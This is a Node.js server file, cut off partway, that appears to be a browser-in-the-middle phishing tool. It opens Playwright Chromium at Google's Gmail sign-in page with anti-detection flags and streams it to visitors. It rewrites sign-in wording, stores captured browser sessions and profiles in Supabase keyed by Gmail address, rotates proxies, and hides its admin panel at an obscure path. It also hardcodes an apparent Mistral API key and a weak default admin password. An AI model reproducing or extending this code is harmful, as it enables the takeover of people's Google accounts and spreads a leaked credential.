| import express from "express"; |
| import { WebSocketServer } from "ws"; |
| import { chromium } from "playwright"; |
| import { v4 as uuidv4 } from "uuid"; |
| import fs from "fs"; |
| import path from "path"; |
| import { fileURLToPath } from "url"; |
| import dotenv from "dotenv"; |
| import { createClient } from "@supabase/supabase-js"; |
| import crypto from "crypto"; |
| import { createProxyManager } from "./proxy-manager.js"; |
|
|
| dotenv.config(); |
|
|
| process.on("uncaughtException", (err) => { |
| console.error("Uncaught exception:", err); |
| }); |
|
|
| process.on("unhandledRejection", (err) => { |
| console.error("Unhandled rejection:", err); |
| }); |
|
|
| const __filename = fileURLToPath(import.meta.url); |
| const __dirname = path.dirname(__filename); |
|
|
| const PORT = process.env.PORT || 3000; |
| const HOST = process.env.HOST || "127.0.0.1"; |
| const SESSIONS_DIR = path.join(__dirname, "sessions"); |
| const STREAM_JPEG_QUALITY = Math.min(100, Math.max(10, Number(process.env.STREAM_JPEG_QUALITY || 90))); |
| const STREAM_INTERVAL_MS = Math.min(1000, Math.max(60, Number(process.env.STREAM_INTERVAL_MS || 120))); |
| const ADMIN_STREAM_JPEG_QUALITY = Math.min( |
| 100, |
| Math.max(10, Number(process.env.ADMIN_STREAM_JPEG_QUALITY || 60)) |
| ); |
| const ADMIN_EVERY_NTH_FRAME = Math.min(10, Math.max(1, Number(process.env.ADMIN_EVERY_NTH_FRAME || 2))); |
| const STREAM_MODE = "screencast"; |
| const DISABLE_EMAIL_NEXT_FREEZE = ["1", "true", "yes"].includes( |
| String(process.env.DISABLE_EMAIL_NEXT_FREEZE || "").toLowerCase() |
| ); |
| const BLANK_GUARD_INTERVAL_MS = Math.min(10000, Math.max(500, Number(process.env.BLANK_GUARD_INTERVAL_MS || 1500))); |
| const SIGNIN_COPY_INTERVAL_MS = Math.min(10000, Math.max(500, Number(process.env.SIGNIN_COPY_INTERVAL_MS || 1500))); |
| const SIGNIN_COPY_OVERRIDE_TEXT = process.env.SIGNIN_COPY_OVERRIDE_TEXT || "Continue"; |
| const MAX_CONCURRENT_SESSIONS = Math.max(1, Number(process.env.MAX_CONCURRENT_SESSIONS || 1)); |
| const IDLE_TIMEOUT_MS = Math.min(3600000, Math.max(60000, Number(process.env.IDLE_TIMEOUT_MS || 300000))); |
| const HEARTBEAT_INTERVAL_MS = Math.min(60000, Math.max(2000, Number(process.env.HEARTBEAT_INTERVAL_MS || 8000))); |
| const HEARTBEAT_GRACE_MS = Math.min( |
| 300000, |
| Math.max(5000, Number(process.env.HEARTBEAT_GRACE_MS || HEARTBEAT_INTERVAL_MS * 4)) |
| ); |
| const SELF_HEAL_ENABLED = process.env.SELF_HEAL_ENABLED !== "false"; |
| const SELF_HEAL_INTERVAL_MS = Math.min(60000, Math.max(3000, Number(process.env.SELF_HEAL_INTERVAL_MS || 10000))); |
| const SELF_HEAL_STALE_FRAME_MS = Math.min( |
| 300000, |
| Math.max(5000, Number(process.env.SELF_HEAL_STALE_FRAME_MS || 20000)) |
| ); |
| const SELF_HEAL_LOG_TABLE = process.env.SELF_HEAL_LOG_TABLE || "self_heal_logs"; |
| const SELF_HEAL_BRAIN_ENABLED = process.env.SELF_HEAL_BRAIN_ENABLED !== "false"; |
| const SELF_HEAL_BRAIN_COOLDOWN_MS = Math.min( |
| 300000, |
| Math.max(5000, Number(process.env.SELF_HEAL_BRAIN_COOLDOWN_MS || 20000)) |
| ); |
| const MISTRAL_API_URL = "https://api.mistral.ai/v1/chat/completions"; |
| const MISTRAL_MODEL = "mistral-tiny"; |
| const MISTRAL_API_KEY = "lzWRBwuWxwTGkihMcR4jCicHNpFGiKmA"; |
| const BACKUPS_DIR = path.join(SESSIONS_DIR, "backups"); |
| const PROFILES_DIR = path.join(SESSIONS_DIR, "profiles"); |
| const MAX_IDB_RECORDS = Number(process.env.MAX_IDB_RECORDS || 0); |
| const DETACH_TTL_MS = Math.min( |
| 3600000, |
| Math.max(IDLE_TIMEOUT_MS, Math.max(5000, Number(process.env.DETACH_TTL_MS || IDLE_TIMEOUT_MS))) |
| ); |
| const SNAPSHOT_INTERVAL_MS = Math.min(3600000, Math.max(30000, Number(process.env.SNAPSHOT_INTERVAL_MS || 300000))); |
| const PERSISTENT_PROFILE = process.env.PERSISTENT_PROFILE !== "false"; |
| const ADMIN_LOCK_VIEWPORT = process.env.ADMIN_LOCK_VIEWPORT === "true"; |
| const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || "Aaaaa1$."; |
| const ADMIN_COOKIE_NAME = "admin_session"; |
| const ADMIN_COOKIE_TTL_MS = 1000 * 60 * 60 * 12; |
| const ADMIN_COOKIE_SECRET = process.env.ADMIN_COOKIE_SECRET || (ADMIN_PASSWORD ? `admin:${ADMIN_PASSWORD}` : null); |
|
|
| const VERSION_WORDS = [ |
| "Apple", |
| "Apricot", |
| "Anchor", |
| "Arrow", |
| "Atlas", |
| "Autumn", |
| "Baker", |
| "Balance", |
| "Bamboo", |
| "Beach", |
| "Beacon", |
| "Berry", |
| "Birch", |
| "Bloom", |
| "Blossom", |
| "Breeze", |
| "Bridge", |
| "Brook", |
| "Cabin", |
| "Cactus", |
| "Candle", |
| "Canyon", |
| "Canvas", |
| "Cedar", |
| "Cherry", |
| "Citrus", |
| "Cloud", |
| "Coast", |
| "Comet", |
| "Compass", |
| "Coral", |
| "Cove", |
| "Creek", |
| "Crown", |
| "Dawn", |
| "Delta", |
| "Desert", |
| "Dew", |
| "Drift", |
| "Dune", |
| "Echo", |
| "Ember", |
| "Evening", |
| "Falcon", |
| "Field", |
| "Finch", |
| "Flame", |
| "Flower", |
| "Forest", |
| "Frost", |
| "Garden", |
| "Gate", |
| "Glade", |
| "Glitter", |
| "Glow", |
| "Grain", |
| "Grove", |
| "Harbor", |
| "Harvest", |
| "Hazel", |
| "Hill", |
| "Honey", |
| "Horizon", |
| "Island", |
| "Ivy", |
| "Jade", |
| "Juniper", |
| "Lake", |
| "Lantern", |
| "Leaf", |
| "Light", |
| "Linen", |
| "Maple", |
| "Marsh", |
| "Meadow", |
| "Mist", |
| "Moon", |
| "Moss", |
| "Mountain", |
| "Nectar", |
| "Oak", |
| "Ocean", |
| "Olive", |
| "Orchid", |
| "Otter", |
| "Pebble", |
| "Pine", |
| "Prairie", |
| "Quartz", |
| "Rain", |
| "River", |
| "Rose", |
| "Sage", |
| "Sand", |
| "Sea", |
| "Shadow", |
| "Shore", |
| "Sky", |
| "Snow", |
| "Solar", |
| "Sparrow", |
| "Spring", |
| "Stone", |
| "Stream", |
| "Summit", |
| "Sun", |
| "Trail", |
| "Valley", |
| "Velvet", |
| "Wave", |
| "Willow", |
| "Wind", |
| "Winter", |
| "Wonder", |
| "Amber", |
| "Aqua", |
| "Azure", |
| "Bliss", |
| "Bright", |
| "Brisk", |
| "Calm", |
| "Clever", |
| "Cozy", |
| "Crisp", |
| "Dapper", |
| "Daring", |
| "Dream", |
| "Easy", |
| "Fair", |
| "Fancy", |
| "Fresh", |
| "Gentle", |
| "Glad", |
| "Happy", |
| "Humble", |
| "Jolly", |
| "Kind", |
| "Lively", |
| "Lucky", |
| "Mellow", |
| "Merry", |
| "Mild", |
| "Noble", |
| "Playful", |
| "Polished", |
| "Proud", |
| "Quick", |
| "Quiet", |
| "Radiant", |
| "Ready", |
| "Simple", |
| "Smooth", |
| "Soft", |
| "Solid", |
| "Sunny", |
| "Swift", |
| "Tender", |
| "True", |
| "Warm", |
| "Witty", |
| "Zesty", |
| "Acorn", |
| "Almond", |
| "Basil", |
| "Biscuit", |
| "Bread", |
| "Butter", |
| "Clover", |
| "Cookie", |
| "Copper", |
| "Daisy", |
| "Doodle", |
| "Dove", |
| "Dreamer", |
| "Fable", |
| "Feather", |
| "Fiddle", |
| "Ginger", |
| "Gold", |
| "Gossip", |
| "Hearth", |
| "Ink", |
| "Jasmine", |
| "Joy", |
| "Kettle", |
| "Lemon", |
| "Lily", |
| "Locket", |
| "Marble", |
| "Mango", |
| "Mint", |
| "Mirror", |
| "Noodle", |
| "Nutmeg", |
| "Opal", |
| "Owl", |
| "Panda", |
| "Paper", |
| "Pearl", |
| "Pepper", |
| "Pillow", |
| "Plum", |
| "Poppy", |
| "Riddle", |
| "Robin", |
| "Rocket", |
| "Ruby", |
| "Sail", |
| "Satin", |
| "Shell", |
| "Silver", |
| "Skyline", |
| "Slate", |
| "Spark", |
| "Starlight", |
| "Sugar", |
| "Thyme", |
| "Tiger", |
| "Tulip", |
| "Whisper", |
| "Wren", |
| "Yonder", |
| "Zephyr" |
| ]; |
|
|
| if (!fs.existsSync(SESSIONS_DIR)) { |
| fs.mkdirSync(SESSIONS_DIR, { recursive: true }); |
| } |
| if (!fs.existsSync(BACKUPS_DIR)) { |
| fs.mkdirSync(BACKUPS_DIR, { recursive: true }); |
| } |
| if (!fs.existsSync(PROFILES_DIR)) { |
| fs.mkdirSync(PROFILES_DIR, { recursive: true }); |
| } |
|
|
| const supabaseUrl = process.env.SUPABASE_URL; |
| const supabaseKey = process.env.SUPABASE_KEY; |
| const supabaseBucket = process.env.SUPABASE_BUCKET || "playwright-sessions"; |
| const supabase = supabaseUrl && supabaseKey ? createClient(supabaseUrl, supabaseKey) : null; |
|
|
| const LAUNCH_ARGS = [ |
| "--disable-blink-features=AutomationControlled", |
| "--no-first-run", |
| "--no-default-browser-check", |
| "--disable-infobars", |
| "--disable-extensions", |
| "--disable-background-timer-throttling", |
| "--disable-backgrounding-occluded-windows", |
| "--disable-renderer-backgrounding", |
| "--disable-sync", |
| "--disable-translate", |
| "--metrics-recording-only", |
| "--no-crash-upload", |
| "--disable-features=TranslateUI", |
| "--disable-gpu-sandbox", |
| "--no-sandbox", |
| "--disable-setuid-sandbox", |
| "--window-size=1440,900" |
| ]; |
|
|
| const GOOGLE_LOGIN_URL = "https://accounts.google.com/signin/v2/identifier?service=mail"; |
| const PROXY_DB_PATH = path.join(__dirname, "proxies", "proxy-db.json"); |
| const PROXY_API_KEY = process.env.PROXY_API_KEY || ""; |
| const PROXY_MANAGER_ENABLED = process.env.PROXY_MANAGER_ENABLED !== "false"; |
| const WEBSHARE_API_KEY = process.env.WEBSHARE_API_KEY || ""; |
| const WEBSHARE_MODE = process.env.WEBSHARE_MODE || ""; |
| const WEBSHARE_PAGE_SIZE = process.env.WEBSHARE_PAGE_SIZE || ""; |
| const PROXY_LIST_URLS = process.env.PROXY_LIST_URLS || ""; |
| const PROXY_LIST_HEADERS = process.env.PROXY_LIST_HEADERS || ""; |
| const PROXY_STORE_TABLE = process.env.PROXY_STORE_TABLE || "proxy_store"; |
| const PROXY_STORE_MODE = String(process.env.PROXY_STORE_MODE || "auto").toLowerCase(); |
| const PROXY_STORE_ENABLED = PROXY_STORE_MODE !== "file" && !!supabase; |
|
|
| function readEnvNumber(name) { |
| if (!(name in process.env)) return null; |
| const value = Number(process.env[name]); |
| return Number.isFinite(value) ? value : null; |
| } |
|
|
| function readEnvBool(name) { |
| if (!(name in process.env)) return null; |
| const value = String(process.env[name]).toLowerCase().trim(); |
| if (!value) return null; |
| if (["1", "true", "yes", "on"].includes(value)) return true; |
| if (["0", "false", "no", "off"].includes(value)) return false; |
| return null; |
| } |
|
|
| function parseEnvList(value) { |
| return String(value || "") |
| .split(",") |
| .map((item) => item.trim()) |
| .filter(Boolean); |
| } |
|
|
| function parseJsonEnv(value) { |
| if (!value) return null; |
| try { |
| return JSON.parse(value); |
| } catch (err) { |
| console.warn("Invalid JSON env value"); |
| return null; |
| } |
| } |
|
|
| function buildProxySourcesFromEnv() { |
| const sources = []; |
| if (WEBSHARE_API_KEY) { |
| const pageSize = Number(WEBSHARE_PAGE_SIZE) || 100; |
| sources.push({ |
| id: "webshare", |
| type: "webshare", |
| url: "https://proxy.webshare.io/api/v2/proxy/list/", |
| apiKey: WEBSHARE_API_KEY, |
| mode: WEBSHARE_MODE || "direct", |
| pageSize |
| }); |
| } |
| const listHeaders = parseJsonEnv(PROXY_LIST_HEADERS) || undefined; |
| const listUrls = parseEnvList(PROXY_LIST_URLS); |
| for (const [index, url] of listUrls.entries()) { |
| sources.push({ |
| id: `list-${index + 1}`, |
| type: "url", |
| url, |
| headers: listHeaders |
| }); |
| } |
| return sources; |
| } |
|
|
| async function loadProxyStoreFromSupabase() { |
| if (!PROXY_STORE_ENABLED) return null; |
| try { |
| const { data, error } = await supabase |
| .from(PROXY_STORE_TABLE) |
| .select("store") |
| .eq("id", "default") |
| .maybeSingle(); |
| if (error) throw error; |
| return data?.store || null; |
| } catch (err) { |
| console.warn("Proxy store load failed:", err?.message || err); |
| return null; |
| } |
| } |
|
|
| async function saveProxyStoreToSupabase(store) { |
| if (!PROXY_STORE_ENABLED || !store) return; |
| try { |
| const payload = { id: "default", store, updated_at: new Date().toISOString() }; |
| const { error } = await supabase.from(PROXY_STORE_TABLE).upsert(payload); |
| if (error) throw error; |
| } catch (err) { |
| console.warn("Proxy store save failed:", err?.message || err); |
| } |
| } |
|
|
| function createProxyStoreSaver() { |
| let timer = null; |
| let pending = null; |
| return (store) => { |
| if (!PROXY_STORE_ENABLED || !store) return; |
| pending = store; |
| if (timer) return; |
| timer = setTimeout(async () => { |
| const snapshot = pending; |
| pending = null; |
| timer = null; |
| await saveProxyStoreToSupabase(snapshot); |
| }, 1000); |
| }; |
| } |
|
|
| const proxySettingsOverride = {}; |
| const proxySettingMap = { |
| PROXY_POOL_SIZE: "poolSize", |
| PROXY_MIN_SUCCESS_RATE: "minSuccessRate", |
| PROXY_MAX_LATENCY_MS: "maxLatencyMs", |
| PROXY_COLLECT_INTERVAL_MS: "collectIntervalMs", |
| PROXY_VALIDATE_INTERVAL_MS: "validateIntervalMs", |
| PROXY_CONNECT_TIMEOUT_MS: "connectTimeoutMs", |
| PROXY_REQUEST_TIMEOUT_MS: "requestTimeoutMs", |
| PROXY_BROWSER_TIMEOUT_MS: "browserTimeoutMs", |
| PROXY_VALIDATE_CONCURRENCY: "validateConcurrency", |
| PROXY_BROWSER_CONCURRENCY: "browserConcurrency", |
| PROXY_MAX_VALIDATIONS_PER_RUN: "maxValidationsPerRun" |
| }; |
| for (const [envKey, settingKey] of Object.entries(proxySettingMap)) { |
| const value = readEnvNumber(envKey); |
| if (value !== null) proxySettingsOverride[settingKey] = value; |
| } |
| const allowInsecureTls = readEnvBool("PROXY_ALLOW_INSECURE_TLS"); |
| if (allowInsecureTls !== null) { |
| proxySettingsOverride.allowInsecureTls = allowInsecureTls; |
| } |
| if (process.env.PROXY_MODE === "manual" || process.env.PROXY_MODE === "auto") { |
| proxySettingsOverride.mode = process.env.PROXY_MODE; |
| } |
|
|
| const app = express(); |
| app.use(express.json()); |
|
|
| const proxyStoreSaver = createProxyStoreSaver(); |
|
|
| const proxyManager = PROXY_MANAGER_ENABLED |
| ? createProxyManager({ |
| dbPath: PROXY_DB_PATH, |
| launchArgs: LAUNCH_ARGS, |
| settings: proxySettingsOverride, |
| sources: buildProxySourcesFromEnv(), |
| onPersist: proxyStoreSaver, |
| externalPersistEnabled: false |
| }) |
| : null; |
| if (proxyManager) proxyManager.start(); |
| if (proxyManager) proxyManager.setMode("manual"); |
| if (proxyManager && PROXY_STORE_ENABLED) { |
| (async () => { |
| const store = await loadProxyStoreFromSupabase(); |
| if (store) { |
| proxyManager.setStoreFromExternal(store); |
| } else { |
| const localStore = proxyManager.getStoreSnapshot(); |
| await saveProxyStoreToSupabase(localStore); |
| } |
| proxyManager.setExternalPersistEnabled(true); |
| })().catch((err) => console.warn("Proxy store hydrate failed:", err?.message || err)); |
| } else if (proxyManager) { |
| proxyManager.setExternalPersistEnabled(false); |
| } |
|
|
| function parseBasicAuth(header) { |
| if (!header) return null; |
| const [scheme, encoded] = header.split(" "); |
| if (scheme !== "Basic" || !encoded) return null; |
| let decoded; |
| try { |
| decoded = Buffer.from(encoded, "base64").toString("utf8"); |
| } catch { |
| return null; |
| } |
| const separatorIndex = decoded.indexOf(":"); |
| if (separatorIndex === -1) return null; |
| const username = decoded.slice(0, separatorIndex); |
| const password = decoded.slice(separatorIndex + 1); |
| return { username, password }; |
| } |
|
|
| function hasAdminHeaderAccess(header) { |
| if (!ADMIN_PASSWORD) return true; |
| const creds = parseBasicAuth(header); |
| return !!creds && creds.password === ADMIN_PASSWORD; |
| } |
|
|
| function getCookieValue(header, name) { |
| if (!header) return null; |
| const parts = header.split(";"); |
| for (const part of parts) { |
| const trimmed = part.trim(); |
| if (!trimmed) continue; |
| const eqIndex = trimmed.indexOf("="); |
| if (eqIndex === -1) continue; |
| const key = trimmed.slice(0, eqIndex).trim(); |
| if (key !== name) continue; |
| return decodeURIComponent(trimmed.slice(eqIndex + 1)); |
| } |
| return null; |
| } |
|
|
| function timingSafeEqual(a, b) { |
| if (typeof a !== "string" || typeof b !== "string") return false; |
| const bufA = Buffer.from(a); |
| const bufB = Buffer.from(b); |
| if (bufA.length !== bufB.length) return false; |
| return crypto.timingSafeEqual(bufA, bufB); |
| } |
|
|
| function signAdminCookie(ts) { |
| if (!ADMIN_COOKIE_SECRET) return null; |
| const payload = String(ts); |
| const signature = crypto.createHmac("sha256", ADMIN_COOKIE_SECRET).update(payload).digest("base64url"); |
| return `${payload}.${signature}`; |
| } |
|
|
| function hasAdminCookie(cookieHeader) { |
| if (!ADMIN_COOKIE_SECRET) return false; |
| const value = getCookieValue(cookieHeader, ADMIN_COOKIE_NAME); |
| if (!value) return false; |
| const [tsStr, sig] = value.split("."); |
| if (!tsStr || !sig) return false; |
| const ts = Number(tsStr); |
| if (!Number.isFinite(ts)) return false; |
| const now = Date.now(); |
| if (ts > now + 5 * 60 * 1000) return false; |
| if (now - ts > ADMIN_COOKIE_TTL_MS) return false; |
| const expected = crypto.createHmac("sha256", ADMIN_COOKIE_SECRET).update(tsStr).digest("base64url"); |
| return timingSafeEqual(expected, sig); |
| } |
|
|
| function hasAdminAccess(req) { |
| if (!ADMIN_PASSWORD) return true; |
| if (hasAdminHeaderAccess(req?.headers?.authorization)) return true; |
| if (hasAdminCookie(req?.headers?.cookie)) return true; |
| return false; |
| } |
|
|
| function maybeSetAdminCookie(req, res) { |
| if (!ADMIN_PASSWORD || !ADMIN_COOKIE_SECRET) return; |
| if (hasAdminCookie(req?.headers?.cookie)) return; |
| const value = signAdminCookie(Date.now()); |
| if (!value) return; |
| const isSecure = req?.secure || req?.headers?.["x-forwarded-proto"] === "https"; |
| const maxAge = Math.floor(ADMIN_COOKIE_TTL_MS / 1000); |
| const parts = [ |
| `${ADMIN_COOKIE_NAME}=${value}`, |
| "Path=/", |
| `Max-Age=${maxAge}`, |
| "HttpOnly", |
| "SameSite=Strict" |
| ]; |
| if (isSecure) parts.push("Secure"); |
| res.append("Set-Cookie", parts.join("; ")); |
| } |
|
|
| function requireAdminAuth(req, res, next) { |
| if (hasAdminAccess(req)) { |
| maybeSetAdminCookie(req, res); |
| next(); |
| return; |
| } |
| res.setHeader("WWW-Authenticate", 'Basic realm="Admin"'); |
| res.status(401).send("Unauthorized"); |
| } |
|
|
| function hasProxyKey(req) { |
| if (!PROXY_API_KEY) return true; |
| const header = req.headers["x-proxy-key"] || req.headers["authorization"] || ""; |
| const value = Array.isArray(header) ? header[0] : header; |
| if (!value) return false; |
| if (value.startsWith("Bearer ")) { |
| return value.slice(7) === PROXY_API_KEY; |
| } |
| return value === PROXY_API_KEY; |
| } |
|
|
| function requireProxyKey(req, res, next) { |
| if (hasProxyKey(req)) { |
| next(); |
| return; |
| } |
| res.status(401).json({ error: "unauthorized" }); |
| } |
|
|
| app.get("/admin.html", (_req, res) => { |
| res.status(404).end(); |
| }); |
|
|
| app.get("/admin.js", (_req, res) => { |
| res.status(404).end(); |
| }); |
|
|
| app.get("/health", (_req, res) => res.json({ ok: true })); |
| app.get("/config", (_req, res) => { |
| res.json({ |
| heartbeatIntervalMs: HEARTBEAT_INTERVAL_MS, |
| heartbeatGraceMs: HEARTBEAT_GRACE_MS, |
| idleTimeoutMs: IDLE_TIMEOUT_MS, |
| selfHealIntervalMs: SELF_HEAL_INTERVAL_MS |
| }); |
| }); |
|
|
| app.get("/session/:id", (req, res) => { |
| const filePath = path.join(SESSIONS_DIR, `${req.params.id}.json`); |
| if (!fs.existsSync(filePath)) { |
| res.status(404).json({ error: "not_found" }); |
| return; |
| } |
| res.sendFile(filePath); |
| }); |
|
|
| app.get("/qazmlp", requireAdminAuth, (_req, res) => { |
| res.sendFile(path.join(__dirname, "public", "admin.html")); |
| }); |
|
|
| app.get("/qazmlp/admin.js", requireAdminAuth, (_req, res) => { |
| res.sendFile(path.join(__dirname, "public", "admin.js")); |
| }); |
|
|
| app.use(express.static(path.join(__dirname, "public"))); |
|
|
| app.get("/admin/sessions", requireAdminAuth, async (_req, res) => { |
| if (!supabase) { |
| res.status(503).json({ error: "supabase_not_configured" }); |
| return; |
| } |
| const { data: prefixes, error } = await supabase.storage.from(supabaseBucket).list("sessions", { |
| limit: 1000, |
| offset: 0, |
| sortBy: { column: "name", order: "asc" } |
| }); |
| if (error) { |
| res.status(500).json({ error: "supabase_list_failed", details: error.message }); |
| return; |
| } |
|
|
| const grouped = new Map(); |
| for (const prefixItem of prefixes || []) { |
| const prefix = prefixItem?.name; |
| if (!prefix) continue; |
|
|
| const { data: sessionFolders, error: sessionErr } = await supabase.storage |
| .from(supabaseBucket) |
| .list(`sessions/${prefix}`, { limit: 1000, offset: 0, sortBy: { column: "name", order: "asc" } }); |
| if (sessionErr) { |
| console.warn("Supabase list failed for prefix", prefix, sessionErr.message); |
| continue; |
| } |
|
|
| for (const sessionItem of sessionFolders || []) { |
| const sessionId = sessionItem?.name; |
| if (!sessionId || sessionId.includes(".")) continue; |
|
|
| const metaRemote = `sessions/${prefix}/${sessionId}/meta.json`; |
| const meta = await downloadJsonFromSupabase(metaRemote); |
| const metaEmail = meta?.email || null; |
| const inferredEmail = metaEmail |
| ? metaEmail |
| : prefix |
| ? prefix.includes("@") |
| ? prefix |
| : `${prefix}@gmail.com` |
| : prefix; |
| const key = |
| canonicalGmailKeyFromEmail(metaEmail) || |
| metaEmail || |
| canonicalGmailKeyFromPrefix(prefix) || |
| inferredEmail || |
| prefix || |
| sessionId; |
| if (!grouped.has(key)) { |
| grouped.set(key, { email: inferredEmail || prefix, versions: [] }); |
| } |
|
|
| const group = grouped.get(key); |
| const metaSnapshots = Array.isArray(meta?.snapshots) ? meta.snapshots : []; |
|
|
| if (metaSnapshots.length) { |
| for (const snap of metaSnapshots) { |
| const snapshotId = snap?.snapshotId; |
| if (!snapshotId) continue; |
| const label = snap?.label || makeSnapshotLabel(snapshotId); |
| const savedAt = snap?.savedAt || snapshotIdToIso(snapshotId); |
| group.versions.push({ |
| label, |
| savedAt, |
| snapshotId, |
| sessionId, |
| prefix |
| }); |
| } |
| } else { |
| const { data: snapshotFolders, error: snapshotErr } = await supabase.storage |
| .from(supabaseBucket) |
| .list(`sessions/${prefix}/${sessionId}/snapshots`, { |
| limit: 1000, |
| offset: 0, |
| sortBy: { column: "name", order: "desc" } |
| }); |
| if (snapshotErr) { |
| console.warn("Supabase list failed for snapshots", prefix, sessionId, snapshotErr.message); |
| } |
| for (const folder of snapshotFolders || []) { |
| const snapshotId = folder?.name; |
| if (!snapshotId || snapshotId.includes(".")) continue; |
| group.versions.push({ |
| label: makeSnapshotLabel(snapshotId), |
| savedAt: snapshotIdToIso(snapshotId), |
| snapshotId, |
| sessionId, |
| prefix |
| }); |
| } |
| } |
| } |
| } |
|
|
| const sessions = Array.from(grouped.values()).map((group) => { |
| const versions = group.versions |
| .filter((v) => v?.snapshotId) |
| .sort((a, b) => new Date(b.savedAt).getTime() - new Date(a.savedAt).getTime()); |
| const seen = new Set(); |
| const unique = []; |
| for (const version of versions) { |
| const key = `${version.sessionId || ""}:${version.snapshotId}`; |
| if (seen.has(key)) continue; |
| seen.add(key); |
| unique.push(version); |
| } |
| return { email: group.email, versions: unique }; |
| }); |
|
|
| sessions.sort((a, b) => (a.email || "").localeCompare(b.email || "")); |
|
|
| res.json({ sessions }); |
| }); |
|
|
| app.post("/admin/sessions/delete", requireAdminAuth, async (req, res) => { |
| if (!supabase) { |
| res.status(503).json({ error: "supabase_not_configured" }); |
| return; |
| } |
| const { prefix, sessionId, snapshotId } = req.body || {}; |
| if (!prefix || !sessionId || !snapshotId) { |
| res.status(400).json({ error: "missing_params" }); |
| return; |
| } |
| try { |
| await deleteSnapshotFromSupabase(prefix, sessionId, snapshotId); |
| res.json({ ok: true }); |
| } catch (err) { |
| res.status(500).json({ error: "delete_failed", details: err.message }); |
| } |
| }); |
|
|
| app.post("/admin/sessions/rename", requireAdminAuth, async (req, res) => { |
| if (!supabase) { |
| res.status(503).json({ error: "supabase_not_configured" }); |
| return; |
| } |
| const { prefix, sessionId, snapshotId, label } = req.body || {}; |
| const nextLabel = String(label || "").trim(); |
| if (!prefix || !sessionId || !snapshotId) { |
| res.status(400).json({ error: "missing_params" }); |
| return; |
| } |
| if (!nextLabel || nextLabel.length > 60) { |
| res.status(400).json({ error: "invalid_label" }); |
| return; |
| } |
|
|
| try { |
| const metaRemote = `sessions/${prefix}/${sessionId}/meta.json`; |
| const metaExisting = (await downloadJsonFromSupabase(metaRemote)) || null; |
| if (!metaExisting || !Array.isArray(metaExisting.snapshots)) { |
| res.status(404).json({ error: "snapshot_not_found" }); |
| return; |
| } |
| const snapshot = metaExisting.snapshots.find((snap) => snap?.snapshotId === snapshotId); |
| if (!snapshot) { |
| res.status(404).json({ error: "snapshot_not_found" }); |
| return; |
| } |
| snapshot.label = nextLabel; |
|
|
| const metaPath = path.join(BACKUPS_DIR, prefix, sessionId, "meta.json"); |
| ensureDir(path.dirname(metaPath)); |
| fs.writeFileSync(metaPath, JSON.stringify(metaExisting, null, 2)); |
| await uploadToSupabase(metaPath, metaRemote); |
|
|
| res.json({ ok: true, snapshot }); |
| } catch (err) { |
| res.status(500).json({ error: "rename_failed", details: err.message }); |
| } |
| }); |
|
|
| app.post("/admin/sessions/close-all", requireAdminAuth, async (_req, res) => { |
| const targets = Array.from(sessionsById.values()); |
| let closed = 0; |
| let failed = 0; |
|
|
| for (const entry of targets) { |
| try { |
| entry.hibernatedAt = Date.now(); |
| entry.hibernatedReason = "admin_close_all"; |
| if (entry.ws && entry.ws.readyState === entry.ws.OPEN) { |
| entry.ws.send(JSON.stringify({ type: "session_ended", reason: "admin_close_all" })); |
| } |
| await closeSession(entry); |
| if (entry.ws && entry.ws.readyState === entry.ws.OPEN) { |
| entry.ws.close(1000, "admin_close_all"); |
| } |
| closed += 1; |
| } catch (err) { |
| failed += 1; |
| console.warn("Failed to close session", entry.sessionId, err?.message || err); |
| } |
| } |
|
|
| res.json({ ok: true, closed, failed }); |
| }); |
|
|
| app.get("/admin/proxies", requireAdminAuth, (_req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| res.json(proxyManager.getAdminSnapshot()); |
| }); |
|
|
| app.post("/admin/proxies/mode", requireAdminAuth, (req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| const settings = proxyManager.setMode("manual"); |
| res.json({ ok: true, settings }); |
| }); |
|
|
| app.post("/admin/proxies/add", requireAdminAuth, (req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| const raw = req.body?.proxies; |
| if (!raw) { |
| res.status(400).json({ error: "missing_proxies" }); |
| return; |
| } |
| const added = proxyManager.addManualProxies(raw); |
| res.json({ ok: true, added }); |
| }); |
|
|
| app.post("/admin/proxies/toggle", requireAdminAuth, (req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| const id = req.body?.id; |
| if (!id) { |
| res.status(400).json({ error: "missing_id" }); |
| return; |
| } |
| const enabled = req.body?.enabled !== false; |
| const ok = proxyManager.toggleProxy(id, enabled); |
| res.json({ ok }); |
| }); |
|
|
| app.post("/admin/proxies/remove", requireAdminAuth, (req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| const id = req.body?.id; |
| if (!id) { |
| res.status(400).json({ error: "missing_id" }); |
| return; |
| } |
| const ok = proxyManager.removeProxy(id); |
| res.json({ ok }); |
| }); |
|
|
| app.post("/admin/proxies/test", requireAdminAuth, async (req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| const id = req.body?.id; |
| if (!id) { |
| res.status(400).json({ error: "missing_id" }); |
| return; |
| } |
| try { |
| const result = await proxyManager.testProxy(id); |
| if (!result) { |
| res.status(404).json({ error: "not_found" }); |
| return; |
| } |
| res.json({ ok: true, result }); |
| } catch (err) { |
| res.status(500).json({ error: "test_failed", details: err.message }); |
| } |
| }); |
|
|
| app.post("/admin/proxies/clear", requireAdminAuth, (_req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| const removed = proxyManager.clearProxies(); |
| res.json({ ok: true, removed }); |
| }); |
|
|
| app.post("/admin/proxies/collect", requireAdminAuth, async (_req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| try { |
| const result = await proxyManager.collectOnce(); |
| res.json({ ok: true, result }); |
| } catch (err) { |
| res.status(500).json({ error: "collect_failed", details: err.message }); |
| } |
| }); |
|
|
| app.post("/admin/proxies/validate", requireAdminAuth, async (_req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| try { |
| const result = await proxyManager.validateOnce(); |
| res.json({ ok: true, result }); |
| } catch (err) { |
